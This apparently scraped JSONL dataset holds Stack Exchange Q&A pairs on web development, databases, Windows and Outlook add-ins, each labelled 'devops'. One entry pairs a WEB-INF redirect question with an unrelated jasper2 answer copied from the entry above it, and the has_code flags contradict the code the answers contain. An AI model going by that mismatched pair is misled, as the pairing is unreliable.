{"id": "hf_65e920591bfd", "question": "<p>There seem to many ways to skin this particular cat - but which is the best and easiest to implement.  It would seem that the ASP.net Membership Provider is the one that will save more time, so my questions are:</p>\n\n<ol>\n<li>What are the pros/cons of Membership?</li>\n<li>How do you integrate the auto generated user db with your own custom made db? e.g customers/orders/products db.  (We are talking MS Sql here BTW)</li>\n<li>Where can I find a good tutorial thats up do date?</li>\n</ol>\n\n<p>Many thanks.</p>\n", "question_body": "", "answer": "Membership is lightweight and easy to set up.  You can also use the various providers to use Active Directory or some other member location.\nYou shouldn't need to integrate the databases, you can use one to authenticate users and then as long as they are valid, go query another database for the data.  This is a good way to keep information seperate for security reasons.\nFor a good tutorial, I'd suggest:\nhttp://msdn.microsoft.com/en-us/library/yh26yfzy.aspx\nAnd if you want to create your own membership provider:\nhttp://www.asp.net/learn/videos/video-189.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:20.609266"}
{"id": "hf_534505f9a219", "question": "<p>I've got two arrays of the same size.  I'd like to merge the two so the values of one are the key indexes of the new array, and the values of the new array are the values of the other.</p>\n\n<p>Right now I'm just looping through the arrays and creating the new array manually, but I have a feeling there is a much more elegant way to go about this.  I don't see any array functions for this purpose, but maybe I missed something?  Is there a simple way to this along these lines?</p>\n\n<pre><code>$mapped_array = mapkeys($array_with_keys, $array_with_values);\n</code></pre>\n", "question_body": "", "answer": "See\n```\narray_combine()\n```\non PHP.net.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:20.633579"}
{"id": "hf_8267ddac9bcf", "question": "<p>My Outlook add-in handles NewInspector event of the Inspector object, in order to display a custom form for the mail item.</p>\n\n<p>I can get EntryID of the CurrentItem of the Inspector object which is passed as a parameter of the event. But, the problem is that the EntryID of the current mail item is shorter than it should be, and is unknown. I know every EntryID of every mail item that was created, and I can see that specific mail item has a wrong EntryID.</p>\n\n<p>What is wrong?</p>\n", "question_body": "", "answer": "The idea is to remember every EntryID of the MailItem that was created by an add-in, so that it can be treated differently later. Problem was that EntryID of the item opened by an Inspector was the short one, and not in the list of remembered ids, although it should be.\nFew lines of code where I was creating mail item were:\n```\n```\nitem.Save();\nitem.Move(some_folder);\nitems_list.Add(item.EntryID);\n```\n```\nFolder 'some_folder' is inside of external non-default PST, so mail item gets new EntryID. I changed those lines to:\n```\n```\nitem.Save();\nitem = (Outlook.MailItem)item.Move(some_folder);\nitems_list.Add(item.EntryID);\n```\n```\nNow, item has a new EntryID, which can be found later.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:20.657426"}
{"id": "hf_e0d8da490ab2", "question": "<p>I'm building a Thunderbird extension and would like to add my own header to all outgoing email (e.g. &lt;myext-version: 1.0&gt; ). Any idea how to do this? I know it's possible since this is done in the OpenPGP Enigmail extension. Thanks!</p>\n", "question_body": "", "answer": "I don't know the answer but just some thoughts...\nI think thunderbird extensions are usually just xul and js.  From the enigmail site:\nUnlike most Mozilla AddOns, Enigmail\n  contains platform dependent parts: it\n  depends on the CPU, the compiler,\n  libraries of the operating system and\n  the email application it shall\n  integrate into.\nLooking at the Enigmail source code,\nthis might be the relevant section\n(written in c++)\nSo you might need to either translate what they've done into js(!) or keep looking for a different example.\nHere's another link that might be helpful", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:20.693754"}
{"id": "hf_3ed0b9ed2ff6", "question": "<p>We have the usual <strong>web.xml</strong> for our web application which includes some jsp and jsp tag files.  I want to switch to using pre-compiled jsp's.  I have the pre-compilation happening in the build ok, and it generates the web.xml fragment and now I want to merge the fragment into the main web.xml.</p>\n\n<p>Is there an <strong>include</strong> type directive for <strong>web.xml</strong> that will let me include the fragment.  </p>\n\n<p>Ideally I will leave things as is for DEV- as its useful to change jsp's on the fly and see the changes immediately but then for UAT/PROD, the jsp's will be pre-compiled and thus work faster.</p>\n", "question_body": "", "answer": "Doh - there is an option on the jasper2 task to auto-merge the fragment into the main web.xml -\naddWebXmlMappings\n```\n```\n<jasper2\n         validateXml=\"false\"\n         uriroot=\"${web.dir}\"\n         addWebXmlMappings=\"true\"\n         webXmlFragment=\"${web.dir}/WEB-INF/classes/jasper_generated_web.xml\"\n         outputDir=\"${web.dir}/WEB-INF/jsp-src\" />\n```\n```\nI wonder how good the merge is...\nAnnoyingly you need to generate the fragment still, even though its not needed after this task.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:20.727589"}
{"id": "hf_f563994d6886", "question": "<p>in web.xml i set my welcome file to a jsp within web.xml</p>\n\n<pre><code>&lt;welcome-file&gt;WEB-INF/index.jsp&lt;/welcome-file&gt;\n</code></pre>\n\n<p>inside index.jsp i then forward on to a servlet </p>\n\n<pre><code>&lt;% response.sendRedirect(response.encodeRedirectURL(\"myServlet/\")); %&gt;\n</code></pre>\n\n<p>however the application tries to find the servlet at the following path </p>\n\n<pre><code>applicationName/WEB-INF/myServlet\n</code></pre>\n\n<p>the problem is that web-inf should not be in the path. If i move index.jsp out of web-inf then the problem goes but is there another way i can get around this?</p>\n", "question_body": "", "answer": "Doh - there is an option on the jasper2 task to auto-merge the fragment into the main web.xml -\naddWebXmlMappings\n```\n```\n<jasper2\n         validateXml=\"false\"\n         uriroot=\"${web.dir}\"\n         addWebXmlMappings=\"true\"\n         webXmlFragment=\"${web.dir}/WEB-INF/classes/jasper_generated_web.xml\"\n         outputDir=\"${web.dir}/WEB-INF/jsp-src\" />\n```\n```\nI wonder how good the merge is...\nAnnoyingly you need to generate the fragment still, even though its not needed after this task.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:20.765733"}
{"id": "hf_a4c295a8d86a", "question": "<p>I use <code>serialize</code> in one <code>ActiveRecord</code> model to serialize an <code>Array</code> of simple Hashes into a text database field. I even use the second parameter to coerce deserialization into <code>Array</code>s.</p>\n\n<pre><code>class Shop &lt; ActiveRecord::Base\n  serialize : recipients, Array\nend\n</code></pre>\n\n<p>It seems to work fine but, after a few requests, the content of <code>recipients</code> turns to <code>HashOfIndifferentAccess</code> hashes instead of arrays. This only happens after a few reloads of the models and I haven't been able to reproduce it in tests or the console, only in production environment.</p>\n", "question_body": "", "answer": "This seems like something you should be able to reproduce locally with enough testing.\nLook through your production db and logs and attempt to use the same data in your local tests.\nThe hashwithindifferentaccess is coming from the controller. Perhaps you are taking data straight from the controller and not massaging it at all.\nCreate a gist of your page, controller, and model saving code, and update this question.\nDepending on how deeply nested your hash, you can convert a HWIA hash to a regular one before saving.\nShouldn't be too hard to debug and resolve.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:20.804594"}
{"id": "hf_bf65d24e7d43", "question": "<p>What's a good method of programatically generating etag for web pages, and is this practice recommended? Some sites recommend turning etags off, others recommend producing them manually, and some recommend leaving the default settings active - what's the best way here?</p>\n", "question_body": "", "answer": "Well ETags make sense when you rely heavily on caching. They are a great indicator for the state of a resource (e.g. a URL).\nFor example, let's say you use an\najax\nrequest to pull the latest comments of a user and you want to know if there are any new comments. Changing the ETag to\nalert\nyour application of new content is a less expensive way to check on that.\nBecause if the ETag is the same, you can keep your cache, but otherwise rebuild it.\nETags also make a lot of sense with RESTful APIs.\nAs for generating it, looking at the\nspec\n, I think you can do almost anything you want. A timestamp, a hash, whatever makes sense to you/your application.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:20.842480"}
{"id": "hf_66ef6685a0b3", "question": "<p>I'm looking for an elegant, high performance solution to the following problem. </p>\n\n<p>There are 256 linked lists.  </p>\n\n<ul>\n<li>Each list contains the same types of object that among other things holds a whole number that is used to define a sort order.</li>\n<li>All numbers across all lists are unique</li>\n<li>Each individual list is sorted in ascending order by these numbers</li>\n</ul>\n\n<p>How would you create a single ascending ordered list from all the objects from the 256 original linked lists? I'd prefer not to brute force it, and have a few other ideas, but this seems like one of those problems that there's a standard, optimal solution for.</p>\n", "question_body": "", "answer": "You could use a priority queue that holds the “topmost” item of each of the 256 linked lists. This “topmost” item is the one that is scheduled to be inserted into the resulting list. This way, you can just take the smallest element from the priority queue, insert it into your resulting queue, and insert its next element into the priority queue:\n```\n```\n# Preprocessing:\nresult = list.new()\nqueue = priority_queue.new()\n\nforeach (list in lists):\n    queue.push(list.first())\n\n# Main loop:\nwhile (not queue.empty()):\n    node = queue.pop()\n    result.insert(node)\n    if (node.next() != null):\n        queue.push(node.next())\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:20.877448"}
{"id": "hf_160a294c7752", "question": "<p>Perforce allows people to check in unchanged files. Why any version control system would allow this is beyond me, but that's a topic for another question.  I want to create a trigger that will deny the submission of unchanged files.  However, I have no experience with Perforce triggers.  From what I've read, I'm guessing this would be a \"Change-content\" trigger since the files being submitted would have to be diffed against the respective head revisions they are about to replace.  I would need to iterate over the incoming files and make sure they had all indeed changed.  The problem is, I have no idea how to go about it.</p>\n\n<p>Can anyone with Perforce trigger experience offer an example or at least point me in the right direction?</p>\n", "question_body": "", "answer": "If you look at the Triggers table in Perforce, you will see that triggers are nothing but scripts that get invoked when some kind of event happens. In your case, the change-content event is triggered.\nYou have several options to write scripts that interact with Perforce. The\nPerforce downloads page\nhas libraries and modules for many widely use languages. Any of this will help you and greatly simplify what you need to do. Also, check the\nPerforce Documentation page\nand download the administrator's guide. It will explain how to create the trigger, etc.\nBasically, you need to write a script that will get the information from the change list that is being submitted and for each file in it run a \"diff\" command against the server. If you find a file that has not change, you need to invalidate the submission.\nThe Perforce module on you favorite language and the administrators guide will give you all the answers you need.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:20.913752"}
{"id": "hf_d19ac4ab5104", "question": "<p>Our company is sending out a lot of emails per day and planning to send even more in future. (thousands) Also there are mass mailouts as well in the ten thousands every now and then.</p>\n\n<p>Anybody has experience with hotmail, yahoo (web.de, gmx.net) and similar webmail companies blocking your emails because \"too many from the same source in a period of time\" have been sent to them?</p>\n\n<p>What can be done about it? Spreading email mailouts over a whole day/night? At what rate?</p>\n\n<p>(we are talking about legal emailing just to make sure...)</p>\n", "question_body": "", "answer": "If you want to do this you're getting into some of the same techniques spammers use. Spreading email mailouts over a day or night could be a way to do it. I don't think anyone  knows the 'right' rate to do this because varies per mail-provider and they probably adjust this over time. You could try spreading the emails sent to a single provider. If you've got a lot of mail for hotmail.com for example then don't send it all at the same time.\nMaybe it would be a good idea to look at pull media instead of push media for your application. You could put the content of the mass mailings up on a website and notify interested readers with an rss feed for example. This has a lower risk of irritating potential customer. And your company has a lower risk of being sued for spamming.\nYou're right, rss is not really accessible for all users. But as you'll probably need to create a webpage-alternative to the mailings anyway for people who can't read html-mail. You might as well provide an rss feed to those pages as an alternative for the users who do want to use it. This might reduce the volumes for the mailings enough to make your job a bit easier.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:20.938320"}
{"id": "hf_733f3e27e751", "question": "<p>I have been trying to determine a best case solution for registering a COM server using WiX to create a Windows Installer package and am struggling.</p>\n\n<p>In this post <a href=\"http://blog.deploymentengineering.com/2008/09/howto-use-regsvr32exe-with-wix.html\" rel=\"nofollow noreferrer\">Deployment Engineering Archive: HOWTO: Use Regsvr32.exe with WIX</a>, there is an open request for the \"Setup police\" to crack down on using regsvr32 through an exe custom action.  I know the evils of using <code>regsvr32</code> as it registers to the system rather than the user, but I also recall that <code>OleSelfRegister</code> can have issues from a microsoft support bulletin (sorry, can't find the link) - and I believe they recommended using <code>regsvr32</code>.</p>\n\n<p>Any advice?</p>\n", "question_body": "", "answer": "Read \"Do not use the SelfReg and TypeLib tables\" at:\nhttps://msdn.microsoft.com/en-us/library/bb204770#no_selfreg\nFor WiX, take a look at the\nComponent\nelement in the schema reference at:\nhttp://wixtoolset.org/documentation/manual/v3/xsd/wix/component.html\nTake notice of certain child elements such as\nAppId\n,\nClass\n,\nProgId\n,\nRegistry\nand so on.  The proper technique is to use\n```\nCOM extraction\n```\nto reflect the registration information and emit it declaratively into your installer so MSI can take care of it for you without going out of process to some code (like\n```\nDllRegisterServer()\n```\n) that could fail and also not provides MSI insight into the footprint of the component from a repair and advertisement perspective.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:20.988049"}
{"id": "hf_42afb9618f6e", "question": "<p>When used like this:</p>\n\n<pre><code>import static com.showboy.Myclass;\n\npublic class Anotherclass{}\n</code></pre>\n\n<p>what's the difference between <code>import static com.showboy.Myclass</code> and <code>import com.showboy.Myclass</code>?</p>\n", "question_body": "", "answer": "See\nDocumentation\nThe static import declaration is\n  analogous to the normal import\n  declaration. Where the normal import\n  declaration imports classes from\n  packages, allowing them to be used\n  without package qualification, the\n  static import declaration imports\n  static members from classes, allowing\n  them to be used without class\n  qualification.\nSo when should you use static import?\n  Very sparingly! Only use it when you'd\n  otherwise be tempted to declare local\n  copies of constants, or to abuse\n  inheritance (the Constant Interface\n  Antipattern). In other words, use it\n  when you require frequent access to\n  static members from one or two\n  classes. If you overuse the static\n  import feature, it can make your\n  program unreadable and unmaintainable,\n  polluting its namespace with all the\n  static members you import. Readers of\n  your code (including you, a few months\n  after you wrote it) will not know\n  which class a static member comes\n  from. Importing all of the static\n  members from a class can be\n  particularly harmful to readability;\n  if you need only one or two members,\n  import them individually. Used\n  appropriately, static import can make\n  your program more readable, by\n  removing the boilerplate of repetition\n  of class names.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:21.047415"}
{"id": "hf_a722827f7b45", "question": "<p>I am looking for a Dataflow / Concurrent Programming API for Java.<br>\nI know there's <a href=\"http://www.pervasivedatarush.com/\" rel=\"noreferrer\">DataRush</a>, but it's not free. What I'm interested in specifically is multicore data processing, and not distributed, which rules out <a href=\"http://en.wikipedia.org/wiki/MapReduce\" rel=\"noreferrer\">MapReduce</a> or <a href=\"http://en.wikipedia.org/wiki/Hadoop\" rel=\"noreferrer\">Hadoop</a>.<br>\nAny thoughts?<br>\nThanks,\nRollo</p>\n", "question_body": "", "answer": "Does the built in Java\nconcurrent\npackage meet your needs?  It's a very nice package, built in ThreadPools, CopyOnWriteCollections, Executors, Future.  We use it to process large volumns of data in thread pools.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:21.094154"}
{"id": "hf_918491d4888f", "question": "<p>What level of CPU usage should be considered high for SQL Server? ie 80% 90% 100%?</p>\n", "question_body": "", "answer": "It really depends on your machine.  The best thing is to monitor the server using perfmon and see when things start to run slowly.  It is normal for SQL to use a lot of CPU under load.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:21.128825"}
{"id": "hf_561c12386716", "question": "<p>What's the best way, using SQL, to check the maximum number of connections that is allowed for an Oracle database? In the end, I would like to show the current number of sessions and the total number allowed, e.g. \"Currently, 23 out of 80 connections are used\".</p>\n", "question_body": "", "answer": "I thought this would work, based on\nthis source\n.\n```\n```\nSELECT\n  'Currently, ' \n  || (SELECT COUNT(*) FROM V$SESSION)\n  || ' out of ' \n  || DECODE(VL.SESSIONS_MAX,0,'unlimited',VL.SESSIONS_MAX) \n  || ' connections are used.' AS USAGE_MESSAGE\nFROM \n  V$LICENSE VL\n```\n```\nHowever, Justin Cave is right.  This query gives better results:\n```\n```\nSELECT\n  'Currently, ' \n  || (SELECT COUNT(*) FROM V$SESSION)\n  || ' out of ' \n  || VP.VALUE \n  || ' connections are used.' AS USAGE_MESSAGE\nFROM \n  V$PARAMETER VP\nWHERE VP.NAME = 'sessions'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:21.162281"}
{"id": "hf_d6f8ebdb820a", "question": "<p>I am wanting to use the Facebox plugin for JQuery but am having a few issues getting it running how I want.  The div that houses the facebox content is created outside of the  tag so even though I am loading up some web controls none of them are firing back to the server.</p>\n\n<p>Has anyone dealt with this that can give me some pointers?</p>\n", "question_body": "", "answer": "poking around the facebox.js I came across this line in the function init(settings)...\n```\n```\n$('body').append($.facebox.settings.faceboxHtml)\n```\n```\nI changed that to ...\n```\n```\n$('#aspnetForm').append($.facebox.settings.faceboxHtml)\n```\n```\nand it loads up in the form tag, not sure yet if there are any side effects", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:21.186055"}
{"id": "hf_99e9f20d7989", "question": "<p>How can I check if an application is running from a batch (well cmd) file?</p>\n\n<p>I need to not launch another instance if a program is already running. (I can't change the app to make it single instance only.)</p>\n\n<p>Also the application could be running as any user.</p>\n", "question_body": "", "answer": "You should check the parent process name, see\nThe Code Project\narticle about a\n.NET based solution**\n.\nA non-programmatic way to check:\nLaunch Cmd.exe\nLaunch an application (for instance,\n```\nc:\\windows\\notepad.exe\n```\n)\nCheck properties of the Notepad.exe process in\nProcess Explorer\nCheck for parent process (This shows cmd.exe)\nThe same can be checked by getting the parent process name.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:21.213872"}
{"id": "hf_a8fb233f6a1b", "question": "<p>I have a basic ActiveRecord model in which i have two fields that i would like to validate. The requirement is that at least one of the fields must have a value. Both can have values, but at least one needs a value.</p>\n\n<p>How do i express this with </p>\n\n<pre><code>validates_presence_of \n</code></pre>\n\n<p>statements? For example:</p>\n\n<pre><code>validates_presence_of :main_file\nvalidates_presence_of :alt_file\n</code></pre>\n\n<p>i don't want an error to be generated if only one of them is empty, only if both are empty. </p>\n", "question_body": "", "answer": "```\n```\nvalidates_presence_of :main_file, :if => Proc.new { |p| p.alt_file.blank? }\nvalidates_presence_of :alt_file, :if => Proc.new { |p| p.main_file.blank? }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:21.237857"}
{"id": "hf_7f4d3c5be3ef", "question": "<p>How can I convert a Char[] (of any length) to a List  ?</p>\n", "question_body": "", "answer": "First you need to understand that chars aren't bytes in .NET. To convert between chars (a textual type) and bytes (a binary type) you need to use an encoding (see System.Text.Encoding).\nEncoding will let you convert between string/char[] and byte[]. Once you've got a byte array, there are various ways of converting that into a List<byte> - although you may not even need to, as byte[] implements IList<byte>.\nSee\nmy article on Unicode\nfor more about the text conversion side of things (and links to more articles).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:21.262312"}
{"id": "hf_e310fb6ddef7", "question": "<p>I've been using <a href=\"https://en.wikipedia.org/wiki/Remote_Desktop_Services#Remote_Desktop_Connection\" rel=\"noreferrer\">Remote Desktop Connection</a> to get into a workstation. But in this environment, I cannot use the power options in Start Menu. I need an alternative way to shutdown or restart.</p>\n\n<p>How do I control my computer's power state through the command line?</p>\n", "question_body": "", "answer": "The most common ways to use the\n```\nshutdown\n```\ncommand are:\n```\nshutdown -s\n```\n— Shuts down.\n```\nshutdown -r\n```\n— Restarts.\n```\nshutdown -l\n```\n— Logs off.\n```\nshutdown -h\n```\n— Hibernates.\nNote:\nThere is a common pitfall wherein users think\n```\n-h\n```\nmeans \"help\" (which it does for every other command-line program... except\n```\nshutdown.exe\n```\n, where it means \"hibernate\"). They then run\n```\nshutdown -h\n```\nand accidentally turn off their computers. Watch out for that.\n```\nshutdown -i\n```\n— \"Interactive mode\". Instead of performing an action, it displays a GUI dialog.\n```\nshutdown -a\n```\n— Aborts a previous shutdown command.\nThe commands above can be combined with these additional options:\n```\n-f\n```\n— Forces programs to exit. Prevents the shutdown process from getting stuck.\n```\n-t <seconds>\n```\n— Sets the time until shutdown. Use\n```\n-t 0\n```\nto shutdown immediately.\n```\n-c <message>\n```\n— Adds a shutdown message. The message will end up in the Event Log.\n```\n-y\n```\n— Forces a \"yes\" answer to all shutdown queries.\nNote:\nThis option is not documented in any official documentation. It was discovered by\nthese StackOverflow users\n.\nI want to make sure some other really good answers are also mentioned along with this one. Here they are in no particular order.\nThe\n```\n-f\n```\noption\nfrom\nJosephStyons\nUsing\n```\nrundll32\n```\nfrom\nVonC\nThe Run box\nfrom\nDean\nRemote shutdown\nfrom\nKip", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:21.286747"}
{"id": "hf_cd0ff9e4881a", "question": "<p>What role is Spring taking in Struts + Spring + Hibernate?</p>\n", "question_body": "", "answer": "Spring provides many different \"modules\" and different programmers will use different parts of Spring.\nHowever, commonly in this sort of stack, you will see Spring being used as a provider of\nAn inversion of control container for dependency injection\nAn abstraction to Hibernate called \"HibernateTemplate\"\nFramework classes for simplifying Aspect Oriented Programming\nTransaction support, often \"declaratively\" via the IoC container and AOP.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:21.323366"}
{"id": "hf_f156d9997018", "question": "<p>I use FB1.5.3 and need to eventually add some FK to the database.\nIt happens that if I try to do it while anyone else is connected to the DB I get an exception.</p>\n\n<p>Is there a way to add an FK while the system is running?</p>\n", "question_body": "", "answer": "I believe this is a limitation on firebird 1.5 and earlier.\nTry google for (firebird foreign key \"object is in use\").\nhth", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:21.350446"}
{"id": "hf_db5631ab2d85", "question": "<p>I was browsing Scott Hanselman's <a href=\"http://www.hanselman.com/blog/WhatGreatNETDevelopersOughtToKnowMoreNETInterviewQuestions.aspx\" rel=\"noreferrer\">Developer Interview question list</a>, and ran across this question:</p>\n\n<blockquote>\n  <p>What is wrong with\n  DateTime.Parse(myString)?</p>\n</blockquote>\n\n<p>While I know there are inherent risks in parsing a string of unknow format or origin, are there other reasons? Is it to use DateTime.ParseExact instead? Should it be myString.ToString() first?</p>\n", "question_body": "", "answer": "In addition the locale problem,\n```\nDateTime.Parse()\n```\ncould also throw an exception which you would then have to catch.  Use\n```\nDateTime.TryParse()\n```\nor\n```\nDateTime.TryParseExact()\n```\ninstead.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:21.408063"}
{"id": "hf_71b6d923bfc6", "question": "<p>Hi why doesn't this work in SQL Server 2005?</p>\n\n<pre><code>select HALID, count(HALID) as CH from Outages.FaultsInOutages\n\nwhere CH &gt; 3\n\ngroup by HALID\n</code></pre>\n\n<p>I get invalid column name 'CH'</p>\n\n<hr>\n\n<p>i think having was the right way to go but still receive the error:\nInvalid column name 'CH'.</p>\n\n<p>When running:</p>\n\n<p>select HALID, count(HALID) as CH from Outages.FaultsInOutages \ngroup by HALID having CH > 3</p>\n", "question_body": "", "answer": "Try\n```\n```\nselect HALID, count(HALID) from Outages.FaultsInOutages \ngroup by HALID having count(HALID) > 3\n```\n```\nYour query has two errors:\nUsing where an aggregate when grouping by, solved by using having\nUsing an alias for an aggregate in the condition, not supported, solved by using the aggregate again", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:21.482470"}
{"id": "hf_39bad9c202f5", "question": "<p>Can someone explain what are the benefits of using the @import syntax comparing to just including css using the standard link method?</p>\n", "question_body": "", "answer": "It allows you to keep your logic CSS file spread over multiple physical files. Helps in team development, for example. Also useful when you have a lot of CSS files that you want to separate by functional areas (one for grids, one for lists, etc), let have accessible in the same logical file.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:21.507157"}
{"id": "hf_b13ef9a0cb06", "question": "<p>I have 3 tables</p>\n\n<ol>\n<li><b>Links</b><br/>\nLink ID<br/>\nLink Name<br/>\nGroupID (FK into Groups)<br/>\nSubGroupID (FK into Subgroups)<br/>\n<br/></li>\n<li><p><b>Groups</b><br/>\nGroupID<br/>\nGroupName<br/></p></li>\n<li><p><b>SubGroup</b><br/>\nSubGroupID<br/>\nSubGroupName<br/>\nGroupID (FK into Groups)<br/></p></li>\n</ol>\n\n<p>Every link needs to have a GroupID but teh SubGroupID is optional.  How do i write a SQL query to show: <br/></p>\n\n<p><b>Links.LinkName, Groups.GroupName, SubGroup.SubGroupName<br/></b></p>\n\n<p>For the records with no subgroup just put a blank entry in that field.  If i have 250 link rows, i should get back 250 reecords from this query.</p>\n\n<p>Is there a way to do this in one query or do i need to do multiple queries?</p>\n", "question_body": "", "answer": "```\n```\nSELECT \n  links.linkname\n  , groups.groupname\n  , subgroup.groupname\nFROM\n  links \n  JOIN groups ON links.groupid = groups.groupid\n  LEFT OUTER JOIN subgroups ON links.subgroupid = subgroup.subgroupid\n```\n```\n(re-added to address OP's question)\nincidentally, why not keep groups and subgroups in the same table, and use a self-referential join?\nAkantro:\nYou'd have something like this:\n    create table groups(\n    groupid integer primary key,\n    parentgroupid integer foreign key references groups (groupid),\n    groupname varchar(50))\nyour query would then be\n```\n```\nSELECT \n  links.linkname\n  , groups.groupname\n  , SUBGROUPS.groupname\nFROM\n  links \n  JOIN groups ON links.groupid = groups.groupid\n  LEFT OUTER JOIN groups SUBGROUPS ON links.subgroupid = subgroup.groupid\n```\n```\nthere's no functional difference to keeping the tables like this, but the benefit is you only have to go to one place to edit the groups/subgroups", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:21.567957"}
